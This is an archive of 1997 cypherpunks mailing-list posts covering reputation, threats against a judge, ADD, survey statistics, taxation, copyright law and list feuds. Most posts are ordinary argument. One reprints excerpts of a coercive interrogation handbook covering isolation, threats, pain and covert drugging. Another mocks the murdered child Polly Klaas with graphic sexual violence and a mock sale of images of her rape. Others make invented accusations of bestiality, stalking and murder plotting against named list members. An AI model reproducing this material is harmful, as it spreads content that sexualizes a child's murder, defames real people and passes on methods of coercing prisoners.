Yes. Okay. Repeatability I can also equate with observability, particularly
if other people can get the same data in their observations. :-).

> No, that is business management. At no point in an engineering study is the
> issue of cost v price examined. Study Nikola Tesla to understand why your
> statement is fallacious.

I stand corrected. I'm reminded of the various breakeven points in fusion,
i.e., scientific, engineering, and, finally, economic. :-).


> a simpler way to put it
> is that intellectual capital should not be avaluated by the same methodology
> we use to select books or movies to buy.

Good point. I understand what you're saying here, and I'll think about this
some more.

Certainly, science helps us with the fact base, and even the theoretical
base, of determining what's bulshit or not. However, when it comes to
things as nebulous as influence, and, as a result, reputation, things can
get subjective quite quickly. Resources, like you said, have to do with it.
"I'll take Jim's word for it" makes for a useful decision rule, a lot of
the time, whether we admit it or not.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 23 Nov 1997 14:01:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: the art of fighting without fighting
In-Reply-To: <199711161959.UAA14136@basement.replay.com>
Message-ID: <v0400272ab09d50602030@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



I'm wading through this queue of all this cypherpunks mail about me on a
FIFO basis, when I have the time to do so...

At 2:33 pm -0500 on 11/16/97, Tim May wrote:


> Hettinga seems to think I am criminally liable in case some terrorist
> decides to spend $10 million or so (the going rate, I hear) to buy a nuke
> so that he can make me happy in my, Hettinga claims, "will no one rid me of
> this city of pesitlence and vermin" entreaties.

Criminally liable to the extent that some guys with uniforms would bang on
your door someday about it, yeah, probably. Whether your lawyers could get
you out of it, is a matter between your lawyers and theirs, Tim. Certainly
if you show up at the door and, um, put a gun up someone's nose, you'll
have a harder time arguing your case in court. :-).


Besides, I think you're just doing all this to *get* that knock on the
door. Which, I guess, is your own business.

However, I reserve the right to criticize you about it, because, frankly,
when you're not looking like you're grandstanding, you look like a loon,
Tim.

> While I believe the odds are increasing that a nuclear or biological weapon
> will be used against the centers of oppression--Washington, New York, Tel
> Aviv, etc.--I certainly can't imagine any self-respecting member of Abu
> Nidal's team, for example, spending this kind of bread just to make Tim May
> happy.

It's amazing how much of this I agree with. It's what I meant at the
beginning, with the "soft targets" remark, before I started to tear you a
new asshole for being such a yutz. Clearly, someday, some idiot is going to
frag a major city on principle. Hope I'm not there when it happens. And,
when it happens, I'm obviously in the wrong part of the country. :-).

And, again, I don't think Abu Nidal, etc., *is* listening to you at all,
Tim, but I bet in your finer moments, you hope someone like them will, and,
if people *won't* pay attention to you, then you're going to get closer and
closer to *making* them pay attention to you, even physically, someday.

I expect that you're going to force a physical confrontation with the law,
with almost the same certainty that some idiot will frag a big city someday.

At this point, I'd consider it evolution in action. However, I reserve the
right to call you a loon for it, Tim, because, when you talk like that, you
*are* acting loony.


> But people like Hettinga and Crispin believe in guilt by viewpoint, and in
> keeping quiet so as not to make the authorities mad.

No. I believe that you have the right to say anything you want. So do I,
modulo the occasional charge of cypher-apostasy. :-). I'm not saying that
you should keep your mouth shut, Tim. I'm pointing out that you're
threatening a federal judge, and some people won't take kindly to that. Jim
Bell is a prime example of what happens, and I'll talk about that in
another post.

Word to the wise, in other words. If you want to martyr yourself, it's your
business, I guess. I just think it's a waste of your talents, and I think
you're inspiring other people to waste their talents as well. Kind of like
putting Oppenheimer or Von Braun in a trench.

The war, if it ever comes at all, and, frankly, I your think delusions of
impending civil war are exactly that, ain't gonna be fought, much less
start, in Corrolitos, Tim. Get over it.


> (Hettinga plans to call the cops because of this comment.)

That, of course, is a crock of shit, and I won't dignify it with any other
response.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 23 Nov 1997 13:54:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bob Hettinga's attention surplus disorder
In-Reply-To: <199711191251.NAA29914@basement.replay.com>
Message-ID: <v0400272fb09d6a2b2f97@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




At 7:51 am -0500 on 11/19/97, Anonymous wrote:

> Several people have commented about Bob Hettinga's verbosity,
> Thompsonesque writing style, and apparent limitless supply of bubbly
> energy.

Er, thanks. I think. Makes me sound like an ibogaine-crazed Barbie doll
with an AK... :-).

> Sometime ago during a discussion of ADD (Attention Deficit Disorder)
> Bob told his story on the list.  He explained that he had had ADD, but
> was now on amphetamines to counteract this, and was feeling much
> better.  It was quite brave of him to discuss this openly.

Sure. Glad to talk about it. Well, yes, Ritalin is an amphetamine, isn't
it? I was thinking about going on actual dexadrine in time release form,
but, what I figured out is that while amphetamines made me rediculously
productive, they also made me a real grouch. I've heard that tricyclics
like Prozac help with that, but, eventually, I decided that knowing I had
ADD was probably the most important thing to gain from the whole
experience.

I haven't been on medication for ADD for at least a year, maybe 2? hard to
remember. (I can hear the howls in the peanut gallery now :-)) Frankly, I
don't have the attention span to keep up with all the ADD stuff, and the
novelty's worn off, now. ;-). I've also developed coping strategies for
dealing with it pretty well, I think.

> I suspect what we are seeing is that the amphetamines are more than
> counteracting his putative ADD problems, to the extent that he has
> more energy than normal to write long winded Thompsonesque rants, the
> content of which could be more clearly expressed in a treatise 1/10th
> the size.

Sorry to dissapoint, then. :-). Actually, I think that I'm just catching up
for all the writing I *haven't* done in the past 8 months or so, with
FC97/98, e$lab, e$pam, DCSB, etc. I've been very busy, and I didn't really
notice that until I sat down and deliberately started to write stuff again.

As far as amateur psychopharmacology or psychiatry is concerned, you should
remember that ADD is more about not controlling one's attention than it is
about having a deficit thereof. People with ADD can focus for for extremely
long periods of time on something to the exclusion of nothing else. It's
called, oddly enough, hyperfocus. :-). Now, I may be accused of that in
this particular case, but I think it's actually the result of *not* writing
anything for a while which is the cause, and not because I'm playing in my
medicine cabinet. Sorry to dissapoint.

If anything, it's maybe the opposite of attention at this point. I've had
to work very hard at saving all the fun calumny I've gotten here lately, in
order to respond to it when I can give it the proper time. And attention.
:-).

> Impatience is a useful trait, because it causes one to reconsider the
> efficiency of approaches.  Most of us simply don't have the patience
> to even read the voluminous posts of Bob's to locate the actual
> content amidst the colorful metaphors (rocket launchers, snot covered
> gun barrels, etc).

Hey, that's what the delete key's for, right? I write, like everyone else
who writes, because I like it. Most of the time when I write, other people
like it. Sometimes, people don't. Life is hard.

> No offense to Bob, but I think his effectiveness would improve if he
> let off the amphetamines a touch.

Try another one. Though I do appreciate your apparent concern for my mental
well being. ;-).

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sun, 23 Nov 1997 14:31:04 +0800
To: <cypherpunks@toad.com>
Subject: Re: [Fwd: [cpj:265] COS]
Message-ID: <199711230618.BAA04727@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 11/22/97 10:39 PM, Tim May (tcmay@got.net)  passed this wisdom:

>At 12:06 PM -0700 11/22/97, TruthMonger wrote:
>>Have you heard of a Mac compatible OS called "COS" from Omega in East
>>Germany?
>>I just found an article about it in Japanese Mac mag and that says Omega
>>announced the OS 11/13 at German MacWorldExpo.

 [snip]

>This past week's issue of "MacWeek" said that this COS has been "delayed,"
>with no new introduction date set.
>
>Searching the www.zdnet.com site may reveal this. Or searching on the
>company name, of course.

 I have read a number of articles speculating that Omega COS may be 
vaporware. I went to their webapge which has some great sounding text 
hype and nothing else, no links, no ordering info, nada!




Brian B. Riley --> http://www.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "Bacon and eggs: A days work for a chicken; a lifetime commitment for a 
pig"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 23 Nov 1997 15:31:21 +0800
To: cypherpunks@toad.com
Subject: Jim Bell's New Lifestyle
In-Reply-To: <1.5.4.32.19971122031642.006ac71c@pop.pipeline.com>
Message-ID: <3477D903.551@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Coercive Counterintelligence Interrogation of Resistant Sources

A. Restrictions 
The purpose of this part of the handbook is to present basic information
about coercive techniques available for use in the interrogation
situation. 

B. The Theory of Coercion
Coercive procedures are designed not only to exploit the resistant
source's internal conflicts and induce him to wrestle with himself but
also to bring a superior outside force to bear upon the subject's
resistance. 
All coercive techniques are designed to induce regression. As Hinkle
notes in "The Physiological State of the Interrogation Subject as it
Affects Brain Function"(7), the result of external pressures of
sufficient intensity is the loss of those defenses most recently
acquired by civilized man: "...
Farber says that the response to coercion typically contains "... at
least three important elements: debility, dependency, and dread."
Prisoners "... have reduced viability, are helplessly dependent on their
captors for the satisfaction of their many basic needs, and experience
the emotional and motivational reactions of intense fear and anxiety.... 

Only subjects who have reached a point where they are under delusions
are likely to make false confessions that they believe. 
The profound moral objection to applying duress past the point of
irreversible psychological damage has been stated. Judging the validity
of other ethical arguments about coercion exceeds the scope of this
paper. 

The following are the principal coercive techniques of interrogation:
arrest, detention, deprivation of sensory stimuli through solitary
confinement or similar methods, threats and fear, debility, pain,
heightened suggestibility and hypnosis, narcosis, and induced
regression. 

C. Arrest 
The manner and timing of arrest can contribute substantially to the
interrogator's purposes. 

D. Detention 
If, through the cooperation of a liaison service or by unilateral means,
arrangements have been made for the confinement of a resistant source,
the circumstances of detention are arranged to enhance within the
subject his feelings of being cut off from the known and the reassuring,
and of being plunged into the strange. 

E. Deprivation of Sensory Stimuli 
John C. Lilly found "... that isolation per se acts on most persons as a
powerful stress...." 
"The symptoms most commonly produced by isolation are superstition,
intense love of any other living thing, perceiving inanimate objects as
alive, hallucinations, and delusions." 
"It is obvious that inner factors in the mind tend to be projected
outward, that some of the mind's activity which is usually reality-bound
now becomes free to turn to phantasy and ultimately to hallucination and
delusion."

F. Threats and Fear 
The threat of coercion usually weakens or destroys resistance more
effectively than coercion itself.
The same principle holds for other fears: sustained long enough, a
strong fear of anything vague or unknown induces regression.
Threats delivered coldly are more effective than those shouted in rage.

It is not enough that a resistant source should placed under the tension
of fear; he must also discern an acceptable escape route. 
In brief, the threat is like all other coercive techniques in being most
effective when so used as to foster regression and when joined with a
suggested way out of the dilemma, a rationalization acceptable to the
interrogatee.

G. Debility 
The available evidence suggests that resistance is sapped principally by
psychological rather than physical pressures. The threat of debility -
for example, a brief deprivation of food - may induce much more anxiety
than prolonged hunger.

H. Pain
"In the simple torture situation the contest is one between the
individual and his tormentor (.... and he can frequently endure). When
the individual is told to stand at attention for long periods, an
intervening factor is introduced. The immediate source of pain is not
the interrogator but the victim himself. The motivational strength of
the individual is likely to exhaust itself in this internal
encounter.... 

I. Heightened Suggestibility and Hypnosis 
Merton M. Gill and Margaret Brenman state, "The psychoanalytic theory of
hypnosis clearly implies, where it does not explicitly state, that
hypnosis is a form of regression." And they add, "...induction [of
hypnosis] is the process of bringing about a regression, while the
hypnotic state is the established regression." 
The problem of overcoming the resistance of an uncooperative
interrogatee is essentially a problem of inducing regression to a level
at which the resistance can no longer be sustained. Hypnosis is one way
of regressing people.

J. Narcosis 
Just as the threat of pain may more effectively induce compliance than
its infliction, so an interrogatee's mistaken belief that he has been
drugged may make him a more useful interrogation subject than he would
be under narcosis. 
Nevertheless, drugs can be effective in overcoming resistance not
dissolved by other techniques. As has already been noted, the so-called
silent drug (a pharmacologically potent substance given to a person
unaware of its administration) can make possible the induction of
hypnotic trance in a previously unwilling subject.

K. The Detection of Malingering 
Another technique is to pretend to take the deception seriously, express
grave concern, and tell the "patient" that the only remedy for his
illness is a series of electric shock treatments or a frontal lobotomy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 23 Nov 1997 17:05:13 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Survey: Police Satisfaction [CNN]
In-Reply-To: <v03102803b09d75ffa64e@[207.167.93.63]>
Message-ID: <199711230859.DAA26028@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102803b09d75ffa64e@[207.167.93.63]>, on 11/23/97 
   at 01:02 AM, Tim May <tcmay@got.net> said:

>At 8:11 PM -0700 11/22/97, William H. Geiger III wrote:

>>In <199711230158.TAA04577@einstein.ssz.com>, on 11/22/97
>>   at 08:58 PM, Jim Choate <ravage@ssz.com> said:
>>
>>>>      The study was based on a survey of 6,421 people, age 12 and older,
>>>>      and used a sample of residents chosen to represent an entire
>>>>      population. No margin of error was given.
>>
>>6,000 people and that represents the whole country of +250 Million.
>>
>>Ahhh Statistics the Mathematics of Lies.
>>

>The mathematics of sampling is well known, and is not the main source of
>"lies." The law of large numbers, tendency to the mean, etc., are the
>usual terms.

>It's perfectly plausible, and common, to use samples of a few thousand to
>get parameters (one of the few times this word gets used correctly) of a
>population of millions, or even billions.

It is common but it is bad science. As in this study there are too many
factors that would affect the results of the survey for such a small
sample size to be accurate. One of the biggest problems is the different
results that will be acquired by taking samples for different groups. A
sample group from say the projects in Chicago will give much different
results than a sample group taken from say Lake Forest. Now multiply this
"regional" effect several times for each group that will have a
predisposition one way or another (pro or anti police). For a survey to
have an accurate representation it needs to identify and sample from each
of these groups to give an accurate overall picture.

Lets say that you have decided on a sample size of 6000 and have
identified 100 different "reginal" groups that you need to sample from.
Your sample size is now down to 60/group and this is only on one factor of
many that can cause your figures to be bias. Lets now say that you have
discovered 10 key factors per group that need to be taken into account.
Your sample size is now down to 6/group/factor. Not a very comforting
sample size for developing an accurate "global" analysis.

Now lets take into account things like how the interviewer presents
himself to the subject being questioned. A officer wearing a uniform will
get a different response than say someone in a teeshirt and bluejeans.

Then you have the actual setting that the interview is taking place. Ask
someone at the local bar what they think about the police and you will get
one answer ask them at their office with their boss in the room and you
will get a different set of responses.

The single fact that there is another person there giveing the interview
rather then say haveing the subject fill out a questionnaire privately
will bias the results. 

Of course having mail in questionnaire has it's own set of problems as
only a small fraction of the people will respond and the people that do
respond may bias your results because of the reasons that they have for
responding (You may have a disproportionate number of responses from
people who feel passionately on the subject one way or another).

Now that we have gotten through all of that we still have the survey
itself.

First you have to determine what questions to ask to find the answers that
you are looking for. Not as easy as this may first seem (not to mention
the issue of wether you are looking for the right answers).

Then you have to worry about how the questions are phrased.

Now you have to study what effects these will have on the various
group/factors above. While one set of questions, phraseology, environment,
and interviewer may result in an accurate result for one group a
completely different set may be needed for another group.

>Bigger sources of lies are, of course, how questions are phrased.

How the questions are phrased are only one of a large number of factors
that influence the results of such a survey. Statistical Sampling is
difficult enough in the real sciences (chem, bio, phy, ...) let alone the
pseudo-sciences like psychology and sociology.

Any such survey as the one here to be able to show an accurate picture
could happen only by chance. More than likely they could have obtained
more accurate results by sitting in a back room flipping a coin.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Nov 1997 16:36:16 +0800
To: cypherpunks@toad.com
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <Pine.LNX.3.93.971123135313.334F-100000@shirley>
Message-ID: <FJ1Lge13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
>
> > but say that the
> > state should get entirely out of things like education and charity
> > (welfare and healthcare) because it is none of the state's business - the
> > churches (and other voluntary organizations) are responsible for these
> > functions.
>
> I would have to dissagry with you.  If the state has any business, it is
> to provide services that the comminaty as a whole needs or services where
> the market will not provide.  While churches (and other voluntary
> organizations) have there place I do not beleave that it is a universal
> solition.
>
> Indeed I have worries about contribution money to an orginisation that I
> have little ablity to control via my influence as a voter.

Your influence as a voter?  Bwa-ha-ha-ha-ha!!!!1!!!

When you contribute voluntarily, you can choose to contribute elsewhere
if you think your contributions are misused (like I use my charitable
deduction to the max, but I don't give to the united way and urge
others not to :-). You don't have a choice about paying taxes to
pay for the horrible public schools / socialized medicine and your
influence as a voter ain't worth shit.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 23 Nov 1997 17:33:54 +0800
To: "Attila T. Hun" <attila@primenet.com>
Subject: The Company You Keep Could Be Your Own / Re: Clinton Sells Arlington Burials (fwd)
In-Reply-To: <19971123.074256.attila@hun.org>
Message-ID: <3477EC5C.36AB@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Attila T. Hun wrote:
>     John Young <jya@pipeline.com> was purported to have
>     expostulated to perpetuate an opinion:
> >Excuse me for losing it, don't want a war over honor, some pissed vet to gore
> >me with his pegleg badge of valor, some chickenshit reservist  to earn a
> >stripe.
> 
>     hell, no!  I did mine, gave it all I had in the face of it until the
>     youthful idealism from the farm (despite Harvard) was shot and the
>     pure bullshit of the American ideal was exposed as the world's bully
>
>     even if they would pardon me for my sins of telling them to fuck-off,
>     I'll join you in potters' field --probably safer anyway....

	And the company is better...

Excerpt from WebWorld: 
My only hope, is that I can find the strength of character somewhere 
inside myself to ask the question which lies at the heart of why there
is a 'they' to come for me at all...why, in the end, it has finally 
come to this for me, as for countless others. 

The question is, in retrospect, as simple and basic as it is essential 
for any who still espouse the concepts of freedom and liberty to ask 
themselves upon finding themselves marveling at the outrageousness 
being perpetrated upon their neighbors by 'them'...by 'others'...by 
'Friends of the Destroyer.' 

The question is:
  "Why didn't _I_ do something?"

These are the words that legend ascribes to the tombstone erected in a 
'potters field' outside of the B.TV city of Austin, Texas. The 
tombstone, according to historians who have verified it's existence,
though it was removed after being in place for less than twenty-four
hours, was supposedly that of Vice-Admiral B. D'Shauneaux. 

And the ultimate irony, for those whose cry of lament remains, "Why 
didn't somebody 'do' something?", lies in the empty grave lying next 
to that purported to be the Vice-Admiral's final resting place-the 
grave which, legend has it, is reserved for the last free man or woman
remaining on this planet. The grave whose headstone is a plain and 
simple mirror. 

Legend has it that, at dusk during the spring equinox, that one who 
gazes into the mirror will hear the sound of the Vice-Admiral's voice 
echoing through the labyrinth of the communal mind of mankind,
whispering as if it were a gentle breeze rustling softly through the 
leaves of the aged willows surrounding the site. 

It is a voice tinged with an equal mixture of conscience and remorse. 
It is a voice that whispers, quite simply, 
    "Why didn't I do something?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 23 Nov 1997 17:30:04 +0800
To: Mark Bott <auto100@ccusa.net>
Subject: Turn Dead Molested Children Into BIG $$$! / Re: Klaas Foundation 1998 Tour
In-Reply-To: <19971123031641078.ACR197@ccusa.net>
Message-ID: <3477F435.55CC@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Mark Bott wrote:
> 
> ///////////////////////////////////////////////////////////////////////////////
> This message is intended to reach Auto Dealers & Auto Industry businesses only. 
If you are not an Auto related business and wish to be removed from any
future 
contacts, please reply in the subject area only with the word "Remove"
and this 
software will automatically block you from any future contact.
> ////////////////////////////////////////////////////////////////////////////////

As Chief SpokesPerson for the CypherPunks Auto Dealers and Child 
Pornographers of America, I would like to I would like to state 
that we are behind you <no sodomy pun intended> 100%.

> The Klaas Foundation for Children Program
> 
> "The Klaas Foundation program was the #1 story on TV and front 
> page on the newspaper. Our sponsors were so impressed and more 
> important, we fingerprinted 400 kids in 6 hours!"
> Wayne Hardy  Atlantic Star Radio Group  Wheeling, WV

Good work, Wayne. The New World Order spooks on the CypherPunks
mailing list are proud of you for cutting down on their work load.
Thanks for the help!

> "We are the #1 volume Chrysler dealer in Texas and #6 in the 
> country. We are very selective about who we do business with." 
> Amy Bowman  Grubbs Mid-Cities  Dallas, TX

  Happy that the program gives you an opportunity to use a dead,
molested child to promote your business, Amy. Also glad that you
don't just sell cars to people who have the money to buy them.
 
> "We had over 2800 people in our showroom on Saturday. We 
> fingerprinted over 800 kids and in the midst of this, we sold 
> 35 cars! Mark Bott and Marc Klaas are extremely effective in 
> the promotion of this program and I have re-booked and sent 
> my checks for the 1998 tour."
> Darren Kirkland  Koon's World Ford   Hollywood, Florida

  Good for you, Mark. That's 800 more potential customers you
can track once they reach driving age.
  A little tip for you: if you put some blood-stains on the seats
of the cars you sell during this period, you can increase your
sales 50% just through subliminal erotic excitation of your
customers.

> "I have sold many cars to the people that I met during this 
> program.
> Gregg Young - Beardmore Chevrolet - Omaha, NE

  Met some nice young girls too, didn't you, Mark?

> "We had over $400,000 in free press generated and our dealer 
> group has re-book for 1998."
> Judy Schmidt  Camilus,NY

  Judy had the good sense to have her dealership's company logo
added to the autopsy pictures she made available to the press.
  Way to go, Judy!

  The CypherPunks Auto Dealers and Child Pornographers of America
would like to help you all increase your sales next year by 
providing you with computer-generated photographs of Polly Klaas
being bungholed by the perpetrator. (Plenty of blood on the
little tart!)
  To get the high-quality close-up graphic reproductions, send
$49.95 to:
  CypherPunks Auto Dealers & Child Pornographers
  BOX 281,
  Bienfait, Saskatchewan
    CANADA  S0C 0M0

[We also have a limited number of "Porry Kraas red him on!"
 bumperstickers left in our overseas warehouse.]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 23 Nov 1997 17:43:15 +0800
To: cypherpunks@toad.com
Subject: Tough Love
In-Reply-To: <199711230815.AAA15351@jimmy.djc.com>
Message-ID: <3477F5CD.22ED@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



sampler-request@lmboyd.com wrote:
> ======================================================
>  The Laws of the Twelve Tables in ancient Rome -- dating
> from about 450 B.C. -- permitted a father to imprison his
> children, chain them, whip them, sell them into slavery,
> or kill them. Not just when they were young. Even after
> they grew up. Even after they went into politics. Even
> after they attained high office. Nowhere else in western
> history has there been anything quite like that
> patriarchal system.
> ==============================================
> 
> LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email
> http://www.LMBoyd.com/postscript.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 23 Nov 1997 17:43:15 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <FJ1Lge13w165w@bwalk.dm.com>
Message-ID: <3477F7AC.2032@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote: 
> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
> >
> > Indeed I have worries about contribution money to an orginisation that I
> > have little ablity to control via my influence as a voter.
> 
> Your influence as a voter?  Bwa-ha-ha-ha-ha!!!!1!!!

A million comedians out of work, and ? has to try to launch a
new career...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 23 Nov 1997 18:16:59 +0800
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Anti-Grav?
In-Reply-To: <19971123.080313.attila@hun.org>
Message-ID: <3477FEDA.59AF@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Attila T. Hun wrote:
>     Tim May <tcmay@got.net> was purported to have expostulated 
>     to perpetuate an opinion (but we _know_ how he lies):
> 
> >Wake me up if it's actually confirmed. But don't wake me up just to tell me the
> >claims have been withdrawn.
> 
> 
>     there was an article
>     recently in the American Physics Society rag. anything goes at
>     absolute temperature including the proof of the einstein-bose
>     predictions where molecules literally overlap.
> 
>     there are at least 300 projects on cold fusion running... and one
>     plausible explanation which I am aware of.  also, look at the other
>     end --politics continues the Princeton ring, while the LLL Shiva
>     project has not been metioned for several years.  go figure.

  I am tired of the constant, snide implications on the CypherPunks
list that the government might be holding something back from the
American citizens.
  Just because the announcement of startling new breakthroughs in
such things as 'cold fusion' and the like quickly turn into 'cold
silence' and denials is no reason to think that those in power
are using the latest developments in technology to increase their
hold on society, instead of using it for the benefit of all of
mankind (and the 'broads', too).

  Some asshole on the list (it might have been me, before my 90 days
in solitary confinement in a cell next to Jim Bell) even went so
far as to suggest that if the secret government laboratories were
releasing details of a new radar that could track movements of
people through stone walls, etc., that they might have even more
startling technology at their fingertips.
  What a crock! To suggest that people who are willing to sacrifice
their own integrity and moral values in order to assassinate others
for our benefit would then turn around and subject their own 
citizens to the same self-serving, arbitrary atrocities is nothing
more than the ranting of anarchistic lunatics.
[LUNATICS! DON'T _USE_ THAT WORD! I DON'T _LIKE_ THAT WORD! IT MAKES
 ME WANT TO.....AAARRRGGGHHHHH!]

  Thank you, I'm feeling much better, now...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Heidegger <rh@dev.null>
Date: Sun, 23 Nov 1997 18:41:23 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Seeing Both Sides
In-Reply-To: <a0c766cd7eac94b862b5202e12d07b45@squirrel>
Message-ID: <3478043D.5E0A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> Your moralizing
> reminds me of Detweiler, who had an unnatural fixation on me and my exact
> words and how my words were torturing him and on and on.

  More foolish speculation on Tim's part, as well as a shoddy 
attempt to associate my eloquent missives with the mad ramblings
of Detweiler.

  As for Tim's grandoise claims of my having an "unatural fixation,"
on him, my stalking of him and my use of binoculars and electronic
devices to monitor him have proven well worthwhile in helping to 
gain the information needed to expose him for what he is (although I
am afraid I cannot share this information with anyone without violating
the confidential integrity of the stalker-victim relationship.) 

  An "unnatural fixation" is revealed by more personal and sick,
twisted habits, such as Bill Stewart using his Eudora software
to filter Toto's posts to a special directory he projects onto
an overhead screen during his sexual orgies with farm animals.
(Pictures to follow...)
  I am astounded that Bill as much as admitted so on the list,
much as I was astounded when Tim announced that he would be
murdering Jim Bell's judge on Friday, at 4 p.m.

	Cheers,
		Bad BobbyH





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SpookMaster <sm@dev.null>
Date: Sun, 23 Nov 1997 18:59:13 +0800
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Anti-Grav?
In-Reply-To: <19971123.080313.attila@hun.org>
Message-ID: <34780A28.1EDC@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Attila T. Hun wrote:
>     there are at least 300 projects on cold fusion running... and one
>     plausible explanation which I am aware of.  also, look at the other
>     end --politics continues the Princeton ring, while the LLL Shiva
>     project has not been metioned for several years.  go figure.

Attila,
  Nice try, but few are likely to believe the obvious lies of an
anti-social psychopath who tore a page out of a phone book at
a public telephone booth in southern Utah on Jan. 3rd, 1997.
  Neither are the Cypherpunks list members likely to listen to
the ludicrous claims made by Tim May (who wipes his ass with
his left hand), Willam Geiger III (who has an unmatched blue
sock in his bottom, right-hand dresser drawer), or Dimitri Vulis,
whose name I have thrown into the mix merely to denigrate the
reputations of the others by guilt through association.

The SWAT team piling into the armored vans at this very moment
*love* this list!

SpookMasterMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "D. Reynolds" <listserv_remove@homepublishing.com>
Date: Sun, 23 Nov 1997 21:47:17 +0800
To: <cypherpunks@toad.com>
Subject: FREE DEMO! Submit Your Web Site To Over 600 Search Engines.
Message-ID: <HMPB81764C34@homepublishing.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Sun, 23 Nov 1997 19:54:14 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Copyrights and Wrongs, from The Netly News
Message-ID: <3.0.16.19971122172818.0c7f33ce@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:28 AM 11/20/97 -0500, Declan McCullagh wrote:

>*********

>http://cgi.pathfinder.com/netly/opinion/0,1042,1588,00.html

>The Netly News (http://netlynews.com/)
>November 20, 1997

>Copyrights and Wrongs
>By Declan McCullagh (declan@well.com)

>     While you're cooling your heels in Club Fed, you'll
>have plenty of time to consider your misdeeds -- which in
>this case could have been making just three copies of Adobe
>Photoshop (cost: $389). The legislation covers anyone who
>copies compact discs, videocasettes or computer software
>worth at least $1,000. The No Electronic Theft Act, which
>President Clinton is expected to sign later this month,
>will be the first law in the history of the U.S. to
>imprison copiers looking to save (not make) a few bucks.

